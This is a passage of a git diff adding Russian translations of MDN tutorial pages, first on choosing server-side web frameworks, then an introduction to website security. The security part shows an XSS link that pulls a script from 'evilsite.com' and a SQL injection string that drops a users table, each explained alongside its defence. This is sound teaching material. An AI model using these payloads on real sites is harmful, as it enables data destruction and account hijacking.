API, качеством документации, а также размером и активностью поддерживающего его сообщества.</span> <span title="">Если вы начинаете без какого бы то ни было опыта программирования, подумайте о Django (это один из самых простых способов изучения на основе вышеуказанных критериев).</span> <span title="">Если вы являетесь частью команды разработчиков, которая уже имеет значительный опыт работы с определённым веб-фреймворком или языком программирования, то имеет смысл остановиться на используемом.</span></span></li> + <li><span class="tlid-translation translation" lang="ru"><span title=""><strong>Производительность:</strong> Производительность — это показатель того, насколько быстро вы можете создавать новые функции, когда вы знакомы с платформой, и включает в себя как усилия по написанию, так и по обслуживанию кода (поскольку вы не можете писать новые функции, пока старые не работают).</span> <span title="">Многие из факторов, влияющих на производительность, аналогичны тем, которые используются для «Усилий по обучению» — например,</span> <span title="">документация, сообщество, опыт программирования и т. д. — другие факторы включают в себя:</span></span> + <ul> + <li><span class="tlid-translation translation" lang="ru"><span title=""><em>Назначение / происхождение фреймворка: </em>Некоторые веб-фреймворки изначально создавались для решения определённых типов проблем и работают лучше при создании веб-приложений с аналогичными ограничениями.</span> <span title="">Например, Django был создан для поддержки разработки газетного веб-сайта, поэтому он хорош для блогов и других сайтов, связанных с публикацией материалов.</span> <span title="">Flask, напротив, является гораздо более лёгкой средой и отлично подходит для создания веб-приложений, работающих на встроенных устройствах.</span></span></li> + <li><span class="tlid-translation translation" lang="ru"><span title=""><em>Основанный на мнении сообщества против не имеющего мнения.</em> Фреймворк, основанный на мнении — это тот, в котором рекомендованы «лучшие» способы решения конкретной проблемы.</span> <span title="">Такие фреймворки, как правило, более продуктивны, когда вы пытаетесь решить общие проблемы, потому что они ведут вас в правильном направлении, однако иногда они менее гибки.</span></span></li> + <li><span class="tlid-translation translation" lang="ru"><span title=""><em>Всё включено против разбирайтесь сами</em>: некоторые веб-фреймворки включают в себя инструменты / библиотеки, которые решают каждую проблему, которую их разработчики могут считать «по умолчанию», в то время как более лёгкие фреймворки ожидают, что веб-разработчики будут выбирать решение проблем из отдельных библиотек (например, Django</span> <span title="">из первых, в то время как Flask является примером очень лёгкого каркаса).</span> Начать работу с <span title="">фреймворками, которые включают в себя всё, часто легче, потому что «из коробки» у вас уже есть всё, что вам нужно, и есть вероятность, что они хорошо интегрированы и хорошо документированы.</span> <span title="">Однако, если меньший фреймворк имеет всё, что вам (когда-либо) понадобится, он может работать в более стеснённых условиях и будет иметь меньший и более простой набор вещей для изучения.</span></span></li> + <li><span class="tlid-translation translation" lang="ru"><span title=""><em>Поощряет ли платформа хорошие практики разработки или нет: </em>например, фреймворк, который поощряет архитектуру Model-View-Controller, разделяющую код на логические функции, приведёт к более поддерживаемому коду, чем тот, который не ожидает этого от разработчиков.</span> <span title="">Аналогично дизайн фреймворка может оказать большое влияние на то, насколько легко тестировать и повторно использовать код.</span></span></li> + </ul> + </li> + <li><span class="tlid-translation translation" lang="ru"><span title=""><strong>Производительность фреймворка / языка программирования:</strong> Обычно «скорость» не является самым значимым критерием при выборе, потому что даже относительно медленные среды выполнения, такие как Python, более чем «достаточно хороши» для сайтов среднего размера, работающих на умеренном оборудовании.</span> <span title="">Ожидаемым плюсам скорости другого языка, например</span> <span title="">C++ или JavaScript, могут быть противопоставлены минусы в виде затрат на его изучение и обслуживание. </span></span></li> + <li><span class="tlid-translation translation" lang="ru"><span title=""><strong>Поддержка кэширования:</strong> По мере того, как ваш сайт становится более успешным, вы можете столкнуться с тем, что он больше не справляется с количеством запросов, которые получает, когда пользователи им пользуются.</span> <span title="">На этом этапе вы можете рассмотреть возможность добавления поддержки кеширования.</span> <span title="">Кэширование — это оптимизация, при которой вы сохраняете весь веб-ответ или его часть так, чтобы его не нужно было пересчитывать при последующих запросах.</span> <span title="">Возврат кэшированного ответа гораздо быстрее, чем его вычисление.</span> <span title="">Кэширование может быть реализовано в вашем коде или на сервере (см. <a href="https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%80%D0%B0%D1%82%D0%BD%D1%8B%D0%B9_%D0%BF%D1%80%D0%BE%D0%BA%D1%81%D0%B8">обратный прокси</a>).</span> <span title="">Веб-фреймворки будут иметь разные уровни поддержки для определения того, какой контент можно кэшировать.</span></span></li> + <li><span class="tlid-translation translation" lang="ru"><span title=""><strong>Масштабируемость.</strong> Как только ваш веб-сайт станет фантастически успешным, вы исчерпаете преимущества кэширования и даже достигнете пределов <em>вертикального масштабирования</em> (запуска веб-приложения на более мощном оборудовании).</span> <span title="">На этом этапе вам может потребоваться <em>масштабировать горизонтально</em> (разделить нагрузку, распределяя ваш сайт между несколькими веб-серверами и базами данных) или масштабировать «географически», потому что некоторые из ваших клиентов находятся далеко от вашего сервера.</span> <span title="">Веб-фреймворк, который вы выберете, может существенно повлиять на то, насколько легко масштабировать ваш сайт.</span></span></li> + <li><span class="tlid-translation translation" lang="ru"><span title=""><strong>Веб-безопасность.</strong> Некоторые веб-фреймворки предоставляют лучшую поддержку для обработки распространённых веб-атак.</span> <span title="">Например, Django очищает весь пользовательский ввод от HTML-шаблонов, чтобы введённый пользователем JavaScript не мог быть запущен.</span> <span title="">Другие платформы предоставляют аналогичную защиту, но она не всегда включена по умолчанию.</span></span></li> +</ul> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Существует также много других возможных влияющих факторов, включая вопросы лицензирования, зависимость от того, находится ли фреймворк в процессе активной разработки и т. д.</span><br> + <br> + <span title="">Если вы абсолютный новичок в программировании, вы, вероятно, выберете свою среду на основе «простоты обучения».</span> <span title="">В дополнение к «простоте использования» самого языка, ваши самые ценные ресурсы — это высококачественная документация / учебные пособия и активное сообщество, помогающее новым пользователям.</span> <span title="">Мы выбрали <a href="https://www.djangoproject.com/">Django</a> (Python) и <a href="http://expressjs.com/">Express</a> (Node/JavaScript) для написания наших примеров далее в курсе, главным образом потому, что они просты в освоении и имеют хорошую поддержку.</span></span></p> + +<div class="note"> +<p><span class="tlid-translation translation" lang="ru"><span title=""><strong>На заметку:</strong> Давайте перейдём к основным веб-сайтам для <a href="https://www.djangoproject.com/">Django</a> (Python) и <a href="http://expressjs.com/">Express</a> (Node/JavaScript) и ознакомимся с их документацией и сообществом.</span></span></p> + +<ol> + <li><span class="tlid-translation translation" lang="ru"><span title="">Перейдите к основным сайтам (ссылки выше)</span></span> + + <ul> + <li><span class="tlid-translation translation" lang="ru"><span title="">Нажмите на ссылки меню «Документация» (такие вещи, как «Документация, Руководство, Справочник по API, Начало работы»).</span></span></li> + <li><span class="tlid-translation translation" lang="ru"><span title="">Можете ли вы увидеть темы, показывающие, как настроить маршрутизацию URL, шаблоны и базы данных / модели?</span></span></li> + <li><span class="tlid-translation translation" lang="ru"><span title="">Понятны ли эти документы?</span></span></li> + </ul> + </li> + <li><span class="tlid-translation translation" lang="ru"><span title="">Перейдите к спискам рассылки для каждого сайта (доступно по ссылкам сообщества).</span></span> + <ul> + <li><span class="tlid-translation translation" lang="ru"><span title="">Сколько вопросов было опубликовано за последние несколько дней?</span></span></li> + <li><span class="tlid-translation translation" lang="ru"><span title="">У скольких есть ответы?</span></span></li> + <li><span class="tlid-translation translation" lang="ru"><span title="">Есть ли у них активное сообщество?</span></span></li> + </ul> + </li> +</ol> +</div> + +<h2 id="Несколько_хороших_веб-фреймворков"><span class="tlid-translation translation" lang="ru"><span title="">Несколько хороших веб-фреймворков?</span></span></h2> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Давайте продолжим и обсудим несколько конкретных серверных веб-фреймворков.</span><br> + <br> + <span title="">Фреймворки на стороне сервера, представленные ниже, представляют собой несколько самых популярных из доступных на момент написания.</span> <span title="">Все они имеют всё, что вам нужно для продуктивной работы </span></span>—<span class="tlid-translation translation" lang="ru"><span title=""> они с открытым исходным кодом, находятся в процессе активной разработки, имеют полные энтузиазма сообщества, создающие документацию и помогающие пользователям на форумах, и используются на большом количестве выдающихся веб-сайтов.</span> <span title="">Существует также много других замечательных серверных фреймворков, которые вы можете найти с помощью обычного поиска в Интернете.</span></span></p> + +<div class="note"> +<p><span class="tlid-translation translation" lang="ru"><span title=""><strong>На заметку:</strong> Описания взяты (частично) с веб-сайтов фреймворка!</span></span></p> +</div> + +<h3 id="Django_Python">Django (Python)</h3> + +<p><span class="tlid-translation translation" lang="ru"><span title=""><a href="https://www.djangoproject.com/">Django</a> </span></span>—<span class="tlid-translation translation" lang="ru"><span title=""> это веб-фреймворк высокого уровня на языке Python, который способствует быстрой разработке и чистому, прагматичному дизайну.</span> <span title="">Созданный опытными разработчиками, он берёт на себя большую часть хлопот веб-разработки, поэтому вы можете сосредоточиться на написании своего приложения без необходимости заново изобретать велосипед.</span> <span title="">Он бесплатен для использования и имеет открытый исходный код.</span><br> + <br> + <span title="">Django следует философии «Всё включено» и предоставляет практически всё, что большинство разработчиков может пожелать «из коробки».</span> <span title="">Поскольку всё включено, всё работает вместе, следует последовательным принципам проектирования и имеет обширную и актуальную документацию.</span> <span title="">Он также быстр, безопасен и очень масштабируем.</span> <span title="">Основанный на Python, код Django легко читать и поддерживать.</span></span></p> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Популярные сайты, использующие Django (с домашней страницы Django), включают в себя: Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic, Open Knowledge Foundation, Pinterest, Open Stack.</span></span></p> + +<h3 id="Flask_Python">Flask (Python)</h3> + +<p><span class="tlid-translation translation" lang="ru"><span title=""><a href="http://flask.pocoo.org/">Flask</a> </span></span>—<span class="tlid-translation translation" lang="ru"><span title=""> это микрофреймворк для Python.</span><br> + <br> + <span title="">И хотя Flask минималистичен, он может создавать серьезные веб-сайты из коробки.</span> <span title="">Он содержит сервер разработки и отладчик, а также поддерживает шаблоны <a href="https://github.com/pallets/jinja">Jinja2</a>, безопасные файлы cookie, <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5">модульное тестирование</a> и диспетчеризацию запросов <a href="http://www.restapitutorial.com/lessons/restfulresourcenaming.html">RESTful</a>.</span> <span title="">У него хорошая документация и активное сообщество.</span></span></p> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Flask стал чрезвычайно популярным, особенно для разработчиков, которым необходимо предоставлять веб-сервисы в небольших системах с ограниченными ресурсами (например, запуск веб-сервера на <a href="https://www.raspberrypi.org/">Raspberry Pi</a>, <a href="https://www.raspberrypi.org/">контроллеры Drone</a> и т. п.)</span></span>.</p> + +<h3 id="Express_Node.jsJavaScript">Express (Node.js/JavaScript)</h3> + +<p><a href="http://expressjs.com/">Express</a> — быстрый, непринуждённый, гибкий и минималистский веб-фреймворк для <a href="https://nodejs.org/en/">Node.js</a> (node — это серверная среда для запуска JavaScript). Он обеспечивает надёжный набор функций для веб и мобильных приложений и предоставляет полезные HTTP-утилиты и <a href="/en-US/docs/Glossary/Middleware">middleware</a> (промежуточные интерфейсы).</p> + +<p><span class="tlid-translation translation" lang="ru">Express чрезвычайно популярен, частично потому, что он облегчает миграцию клиентских веб-программистов JavaScript в разработку на стороне сервера, а частично потому, что он ресурсоэффективен (базовая среда узлов использует легкую многозадачность в потоке, а не порождает отдельные процессы для каждого новый веб-запрос).<br> + <br> + Поскольку Express является минималистской веб-инфраструктурой, он не включает в себя все компоненты, которые вы, возможно, захотите использовать (например, доступ к базе данных и поддержка пользователей и сеансов предоставляются через независимые библиотеки). Есть много отличных независимых компонентов, но иногда бывает сложно решить, какой из них лучше всего подходит для конкретной цели!<br> + <br> + Многие популярные серверные и полные стеки (включая серверные и клиентские) основаны на Express, включая Feathers, ItemsAPI, KeystoneJS, Kraken, LEAN-STACK, LoopBack, MEAN и Sails.<br> + <br> + Многие крупные компании используют Express, в том числе: Uber, Accenture, IBM и т. Д. (Список приведен здесь).</span></p> + +<h3 id="Ruby_on_Rails_Ruby">Ruby on Rails (Ruby)</h3> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Rails (обычно называемый «Ruby on Rails») - это веб-фреймворк, написанный для языка программирования Ruby.</span><br> + <br> + <span title="">Rails следует очень похожей философии дизайна на Django.</span> <span title="">Как и Django, он предоставляет стандартные механизмы для маршрутизации URL, доступа к данным из базы данных, генерации HTML из шаблонов и форматирования данных как {{glossary ("JSON")}} или {{glossary ("XML")}}.</span> <span title="">Точно так же поощряется использование шаблонов проектирования, таких как DRY («не повторяйте себя» - пишите код только один раз, если это возможно), MVC (модель-представление-контроллер) и ряд других.</span><br> + <br> + <span title="">Конечно, есть много различий, связанных с конкретными проектными решениями и характером языков.</span><br> + <br> + <span title="">Rails использовался для крупных сайтов, в том числе: Basecamp, GitHub, Shopify, Airbnb, Twitch, SoundCloud, Hulu, Zendesk, Square, Highrise.</span></span></p> + +<h3 id="ASP.NET">ASP.NET</h3> + +<p><span class="tlid-translation translation" lang="ru"><span title="">ASP.NET - это веб-инфраструктура с открытым исходным кодом, разработанная Microsoft для создания современных веб-приложений и сервисов.</span> <span title="">С ASP.NET вы можете быстро создавать веб-сайты на основе HTML, CSS и JavaScript, масштабировать их для использования миллионами пользователей и легко добавлять более сложные возможности, такие как веб-API, формы поверх данных или коммуникации в режиме реального времени.</span><br> + <br> + <span title="">Одним из отличий для ASP.NET является то, что он построен на Common Language Runtime (CLR), что позволяет программистам писать код ASP.NET с использованием любого поддерживаемого языка .NET (C #, Visual Basic и т. д.).</span> <span title="">Как и многие продукты Microsoft, он обладает отличными инструментами (часто бесплатными), активным сообществом разработчиков и хорошо написанной документацией.</span><br> + <br> + <span title="">ASP.NET используется Microsoft, Xbox.com, Stack Overflow и многими другими.</span></span></p> + +<h3 id="Mojolicious_Perl">Mojolicious (Perl)</h3> + +<p><span class="tlid-translation translation" lang="ru">Mojolicious - это веб-фреймворк следующего поколения для языка программирования Perl.<br> + <br> + Еще в первые дни Интернета многие люди изучали Perl из-за замечательной библиотеки Perl под названием CGI. Это было достаточно просто, чтобы начать, не зная много о языке и достаточно мощный, чтобы держать вас в курсе. Mojolicious реализует эту идею, используя новейшие технологии.<br> + <br> + Некоторые из функций, предоставляемых Mojolicious: веб-инфраструктура в режиме реального времени, позволяющая легко превращать отдельные файловые прототипы в хорошо структурированные веб-приложения MVC; RESTful маршруты, плагины, команды, шаблоны Perl-ish, согласование контента, управление сеансами, проверка форм, структура тестирования, статический файловый сервер, обнаружение CGI / PSGI, поддержка Unicode первого класса; Реализация полного стека HTTP и WebSocket клиент / сервер с IPv6, TLS, SNI, IDNA, HTTP / SOCKS5 прокси, сокет домена UNIX, Comet (длинный опрос), поддержка активности, пул соединений, тайм-аут, cookie, поддержка нескольких частей и сжатия gzip; Парсеры и генераторы JSON и HTML / XML с поддержкой селекторов CSS; Очень чистый, портативный и объектно-ориентированный чистый Perl API без скрытой магии; Свежий код, основанный на многолетнем опыте, бесплатный и открытый исходный код.</span></p> + +<h2 id="Резюме"><span class="tlid-translation translation" lang="ru"><span title="">Резюме</span></span></h2> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Эта статья показала, что веб-фреймворки могут упростить разработку и поддержку кода на стороне сервера.</span> <span title="">Он также предоставил общий обзор нескольких популярных платформ и обсудил критерии выбора платформы веб-приложений.</span> <span title="">Теперь у вас должно быть хотя бы представление о том, как выбрать веб-фреймворк для собственной разработки на стороне сервера.</span> <span title="">Если нет, то не беспокойтесь - позже в курсе мы дадим вам подробные учебники по Django и Express, чтобы дать вам некоторый опыт работы с веб-фреймворком.</span> </span></p> + +<p>Для следующей статьи в этом модуле мы немного изменим направление и рассмотрим веб-безопасность.</p> + +<p>{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}</p> + +<h2 id="В_этом_модуле">В этом модуле</h2> + +<ul> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Introduction">Introduction to the server side</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">Client-Server overview</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Web_frameworks">Server-side web frameworks</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Website_security">Website security</a></li> +</ul> + +<div id="gtx-anchor" style="position: absolute; left: 170px; top: 2836px; width: 297px; height: 17px;"></div> + +<div class="jfk-bubble gtx-bubble"> +<div class="jfk-bubble-content-id" id="bubble-18"> +<div id="gtx-host" style="max-width: 400px;"></div> +</div> + +<div class="jfk-bubble-closebtn-id jfk-bubble-closebtn"></div> + +<div class="jfk-bubble-arrow-id jfk-bubble-arrow jfk-bubble-arrowup" style="left: 128.5px;"> +<div class="jfk-bubble-arrowimplbefore"></div> + +<div class="jfk-bubble-arrowimplafter"></div> +</div> +</div> diff --git a/files/ru/learn/server-side/first_steps/веб_безопасность/index.html b/files/ru/learn/server-side/first_steps/веб_безопасность/index.html new file mode 100644 index 0000000000..6caa9b2aa2 --- /dev/null +++ b/files/ru/learn/server-side/first_steps/веб_безопасность/index.html @@ -0,0 +1,169 @@ +--- +title: Веб-безопасность +slug: Learn/Server-side/First_steps/Веб_Безопасность +translation_of: Learn/Server-side/First_steps/Website_security +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div> + +<p class="summary">Безопасность сайта требует бдительности во всех аспектах дизайна и использования сайта. Эта вводная статья не сделает из вас гуру безопасности веб-сайта, но она поможет вам понять, откуда приходят угрозы, и что вы можете сделать, чтобы укрепить свое веб-приложение против наиболее распространенных атак.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Условия:</th> + <td>Элементарная компьютерная грамотность</td> + </tr> + <tr> + <th scope="row">Цель:</th> + <td>Понять самые распространенные угрозы безопасности веб-приложений. И что вы можете сделать, чтобы уменьшить риск взлома вашего сайта.</td> + </tr> + </tbody> +</table> + +<h2 id="Что_такое_безопасность_сайта">Что такое безопасность сайта?</h2> + +<p>Интернет опасное место! Мы регулярно слышим о том, что веб-сайты становятся недоступными из-за атак типа отказано в обслуживании, или отображение измененной (и часто поврежденной) информации на их страницах. В других случаях миллионы паролей, адресов электронной почты и данные кредитных карт становились общедоступными, подвергая пользователей веб-сайта личному смущению или к финансовым рискам.</p> + +<p>Цель веб-безопасности заключается в предотвращении этих (или других) видов атак. Более формальным определением веб-безопасности является: <em>способы защиты веб-сайтов от несанкционированного доступа, использования, изменения, уничтожения или нарушения работы.</em></p> + +<p>Для эффективной безопасности веб-сайта необходимо уделять особое внимание к разработке всего веб-сайта: к вашему веб-приложению, конфигурации веб-сервера, при написании политик создания и обновления паролей, а так же кода на стороне клиента. Хотя все это звучит очень зловеще, хорошая новость заключается в том, что если вы используете веб-фреймворк для серверной части, то он почти наверняка обеспечит «по умолчанию» надежные и продуманные механизмы защиты от ряда наиболее распространенных атак. Другие атаки можно смягчить с помощью конфигурации вашего веб-сервера, например, включив HTTPS. Наконец, есть общедоступные инструменты для сканирования уязвимостей, которые могут помочь вам определить, если вы допустили какие-либо очевидные ошибки.</p> + +<p>В оставшейся части этой статьи мы рассмотрим более подробную информацию о некоторых самых распространенных угрозах и о простых шагах, которые вы можете предпринять, чтобы защитить свой сайт.</p> + +<div class="note"> +<p><strong>Примечание: </strong>Это вводная статья, призванная помочь вам задуматься о безопасности веб-сайта, но она не является исчерпывающей.</p> +</div> + +<h2 id="Угрозы_бесопасности_сайта">Угрозы бесопасности сайта</h2> + +<p>В этом разделе перечислены лишь некоторые из наиболее распространенных угроз веб-сайта и способы их устранения. Читая, обратите внимание на то, насколько успешны угрозы, когда веб-приложение доверяет, либо <em>недостаточно параноидально</em> относится к данным, поступающим из браузера.</p> + +<h3 id="Межсайтовый_скриптинг_XSS">Межсайтовый скриптинг (XSS)</h3> + +<p>XSS (<em>Cross-Site Scripting</em> - Межсайтовый скриптинг) это термин, используемый для описания типа атак, которые позволяют злоумышленнику внедрять вредоносный код <em>через</em> веб-сайт в браузеры других пользователей. Поскольку внедренный код поступает в браузер с сайта, он является <em>доверенным</em> и может выполнять такие действия, как отправка авторизационного файла <em>cookie</em>пользователя злоумышленнику. Когда у злоумышленника есть файл <em>cookie</em>, он может войти на сайт, как если бы он был пользователем, и сделать все, что может пользователь, например, получить доступ к данным кредитной карты, просмотреть контактные данные или изменить пароли.</p> + +<div class="note"> +<p><strong>Примечание</strong>: Уязвимости XSS исторически встречались чаще, чем любые другие виды угроз безопасности.</p> +</div> + +<p>Уязвимости XSS делятся на <em>отраженные</em> и <em>хранимые</em>, в зависимости от того, как сайт возвращает внедренный код в браузер.</p> + +<ul> + <li><em>Отраженная </em>XSS-уязвимость возникает, когда пользовательский контент, который передается на сервер, <em>немедленно</em> и <em>без изменений</em> возвращается для отображения в браузере. Любой скрипт в исходном пользовательском контенте запустится при загрузке новой страницы. Например, рассмотрим строку поиска по сайту, в которой поисковые слова закодированы как параметры URL, и эти слова отображаются вместе с результатами. Злоумышленник может создать поисковую ссылку, которая будет содержать вредоносный скрипт в качестве параметра (например: <code>http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script></code>) и перслать его другому пользователю по электронной почте. Если целевой пользователь кликнет по этой «интересной ссылке», то скрипт выполнится при отображении результатов поиска. Как мы уже говорили, злоумышленник таким образом получает всю информацию, необходимую ему для входа на сайт в качестве целевого пользователя, потенциального совершения покупок от имени пользователя или получения его контактной информации.</li> + <li> + <p><span class="tlid-translation translation" lang="ru">Постоянная уязвимость XSS возникает, когда вредоносный скрипт хранится на веб-сайте, а затем снова отображается без изменений, чтобы другие пользователи могли выполнять его невольно.<br> + Например, доска обсуждений, которая принимает комментарии, содержащие неизмененный HTML, может хранить вредоносный скрипт от злоумышленника. Когда комментарии отображаются, скрипт выполняется и может отправить злоумышленнику информацию, необходимую для доступа к учетной записи пользователя. Атака такого рода чрезвычайно популярна и мощна, потому что злоумышленник может даже не иметь прямого отношения к жертвам.<br> + <br> + Хотя данные из запросов POST или GET являются наиболее распространенным источником уязвимостей XSS, любые данные из браузера потенциально уязвимы, такие как данные cookie, отображаемые браузером, или пользовательские файлы, которые загружаются и отображаются.<br> + <br> + Наилучшей защитой от уязвимостей XSS является удаление или отключение любой разметки, которая потенциально может содержать инструкции по запуску кода. Для HTML это включает такие элементы, как <script>, <object>, <embed> и <link>.<br> + <br> + Процесс изменения пользовательских данных, чтобы их нельзя было использовать для запуска сценариев или иным образом влиять на выполнение серверного кода, называется очисткой ввода. Многие веб-фреймворки автоматически очищают пользовательский ввод от HTML-форм по умолчанию.</span></p> + </li> +</ul> + +<h3 id="SQL_injection">SQL injection</h3> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Уязвимости SQL-инъекций позволяют злоумышленникам выполнять произвольный код SQL в базе данных, позволяя получать, изменять или удалять данные независимо от разрешений пользователя.</span> <span title="">Успешная инъекционная атака может подделать удостоверения, создать новые удостоверения с правами администратора, получить доступ ко всем данным на сервере или уничтожить / изменить данные, чтобы сделать их непригодными для использования.</span><br> + <br> + <span title="">Типы внедрения SQL включают внедрение SQL на основе ошибок, внедрение SQL на основе логических ошибок и внедрение SQL на основе времени.</span><br> + <br> + <span title="">Эта уязвимость присутствует, если пользовательский ввод, который передается в базовый оператор SQL, может изменить смысл оператора.</span> <span title="">Например, следующий код предназначен для перечисления всех пользователей с определенным именем (userName), которое было предоставлено из формы HTML:</span></span></p> + +<pre class="brush: sql notranslate">statement = "SELECT * FROM users WHERE name = '" + <strong>userName</strong> + "';"</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Если пользователь указывает реальное имя, оператор будет работать так, как задумано.</span> <span title="">Однако злонамеренный пользователь может полностью изменить поведение этого оператора SQL на новый оператор в следующем примере, просто указав текст полужирным шрифтом для userName.</span></span></p> + +<pre class="brush: sql notranslate">SELECT * FROM users WHERE name = '<strong>a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't</strong>'; +</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Модифицированный оператор создает действительный оператор SQL, который удаляет таблицу пользователей и выбирает все данные из таблицы userinfo (которая раскрывает информацию о каждом пользователе).</span> <span title="">Это работает, потому что первая часть введенного текста (a ';) завершает исходное утверждение.</span><br> + <br> + <span title="">Чтобы избежать такого рода атак, вы должны убедиться, что любые пользовательские данные, которые передаются в запрос SQL, не могут изменить природу запроса.</span> <span title="">Один из способов сделать это - экранировать все символы пользовательского ввода, которые имеют особое значение в SQL.</span></span></p> + +<div class="note"> +<p><span class="tlid-translation translation" lang="ru"><span title="">Примечание. Инструкция SQL обрабатывает символ ' как начало и конец строкового литерала.</span> <span title="">Поместив обратную косую черту перед этим символом (\ '), мы экранируем символ и говорим SQL вместо этого трактовать его как символ (только часть строки).</span></span></p> +</div> + +<p>В следующей инструкции мы экранируем символ '. Теперь SQL будет интерпретировать имя как всю строку, выделенную жирным шрифтом (это действительно очень странное имя, но безопасное).</p> + +<pre class="brush: sql notranslate">SELECT * FROM users WHERE name = '<strong>a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t'</strong>; + +</pre> + +<p>Веб-фремворки будут часто заботиться о зарезервированных символах для вас. Django, например, гарантирует, что любые пользовательские данные, передаваемые в наборы запросов (модельные запросы), будут экранируются.</p> + +<div class="note"> +<p><strong>Примечание: </strong>этот раздел в значительной степени основан на информации из <a href="https://en.wikipedia.org/wiki/SQL_injection">Wikipedia</a>.</p> +</div> + +<h3 id="Подделка_межсайтовых_запросов_CSRF">Подделка межсайтовых запросов (CSRF)</h3> + +<p>CSRF-атаки позволяют злоумышленнику выполнять действия, используя учетные данные другого пользователя, без его ведома или согласия.</p> + +<p>Этот тип атаки лучше всего пояснить на примере. Джон - злоумышленник, который знает, что определенный сайт позволяет пользователям, вошедшим в систему, отправлять деньги на указанную учетную запись, используя HTTP-запрос <code>POST</code>, который включает имя учетной записи и сумму денег. Джон создает форму, которая включает в себя его банковские реквизиты и сумму денег в виде скрытых полей, и отправляет ее по электронной почте другим пользователям сайта (с кнопкой «Отправить», замаскированной под ссылку на сайт «быстрого обогащения»).</p> + +<p>Если пользователь нажимает кнопку отправки, на сервер будет отправлен HTTP-запрос <code>POST</code>, содержащий сведения о транзакции и любые файлы cookie на стороне клиента, которые браузер связал с сайтом (добавление связанных файлов cookie сайта в запросы является нормальным поведением браузера). Сервер проверит файлы cookie и использует их, чтобы определить, вошел ли пользователь в систему и имеет ли разрешение на совершение транзакции.</p> + +<p>В результате любой пользователь, который нажимает кнопку <em>Отправить</em> во время входа на торговый сайт, совершает транзакцию. Джон становится богатым.</p> + +<div class="note"> +<p><strong>Примечание: </strong>Уловка здесь в том, что Джону не нужен доступ к файлам cookie пользователя (или учетным данным). Браузер пользователя сохраняет эту информацию и автоматически включает ее во все запросы к соответствующему серверу.</p> +</div> + +<p>Один из способов предотвратить этот тип атаки - запросить сервером запросы <code>POST</code>, содержащие секрет, созданный пользователем для конкретного сайта. Секрет будет предоставлен сервером при отправке веб-формы, используемой для переводов. Такой подход не позволяет Джону создать свою собственную форму, потому что он должен знать секрет, который сервер предоставляет пользователю. Даже если он узнает секрет и создаст форму для конкретного пользователя, он больше не сможет использовать ту же форму для атаки на каждого пользователя.</p> + +<p>Веб-фреймворки часто включают такие механизмы предотвращения CSRF.</p> + +<h3 id="Прочие_угрозы">Прочие угрозы</h3> + +<p>Другие распространенные атаки / уязвимости включают:</p> + +<ul> + <li><a href="https://www.owasp.org/index.php/Clickjacking">Clickjacking</a>. В этой атаке злоумышленник перехватывает клики, предназначенные для видимого сайта верхнего уровня, и направляет их на скрытую ниже страницу. Этот метод можно использовать, например, для отображения законного сайта банка, но захвата учетных данных для входа в невидимый {{htmlelement("iframe")}} , контролируемый злоумышленником. Clickjacking также можно использовать для того, чтобы заставить пользователя нажать кнопку на видимом сайте, но при этом на самом деле невольно нажимать совершенно другую кнопку. В качестве защиты ваш сайт может предотвратить встраивание себя в iframe на другом сайте, установив соответствующие заголовки HTTP.</li> + <li><a href="/en-US/docs/Glossary/Distributed_Denial_of_Service">Denial of Service</a> (DoS). DoS обычно достигается за счет наводнения целевого сайта поддельными запросами, так что доступ к сайту нарушается для законных пользователей. Запросы могут быть просто многочисленными или по отдельности потреблять большие объемы ресурсов (например, медленное чтение или загрузка больших файлов). Защита от DoS обычно работает, выявляя и блокируя «плохой» трафик, пропуская при этом легитимные сообщения. Эти средства защиты обычно расположены перед веб-сервером или на нем (они не являются частью самого веб-приложения).</li> + <li><a href="https://en.wikipedia.org/wiki/Directory_traversal_attack">Directory Traversal</a> (Файл и раскрытие). В этой атаке злоумышленник пытается получить доступ к частям файловой системы веб-сервера, к которым у него не должно быть доступа. Эта уязвимость возникает, когда пользователь может передавать имена файлов, содержащие символы навигации файловой системы (например, <code>../../</code>). Решение состоит в том, чтобы очищать ввод перед его использованием.</li> + <li><a href="https://en.wikipedia.org/wiki/File_inclusion_vulnerability">File Inclusion</a>. В этой атаке пользователь может "случайно" указать файл для отображения или выполнения в данных, передаваемых на сервер. После загрузки этот файл может выполняться на веб-сервере или на стороне клиента (что приводит к XSS-атаке). Решение состоит в том, чтобы дезинфицировать ввод перед его использованием.</li> + <li><a href="https://www.owasp.org/index.php/Command_Injection">Внедрение команд</a>. Атаки с внедрением команд позволяют злоумышленнику выполнять произвольные системные команды в операционной системе хоста. Решение состоит в том, чтобы дезинфицировать вводимые пользователем данные до того, как их можно будет использовать в системных вызовах.</li> +</ul> + +<p>Полный список угроз безопасности веб-сайтов см. <a href="https://en.wikipedia.org/wiki/Category:Web_security_exploits">Category: Web security exploits</a> (Wikipedia) и <a 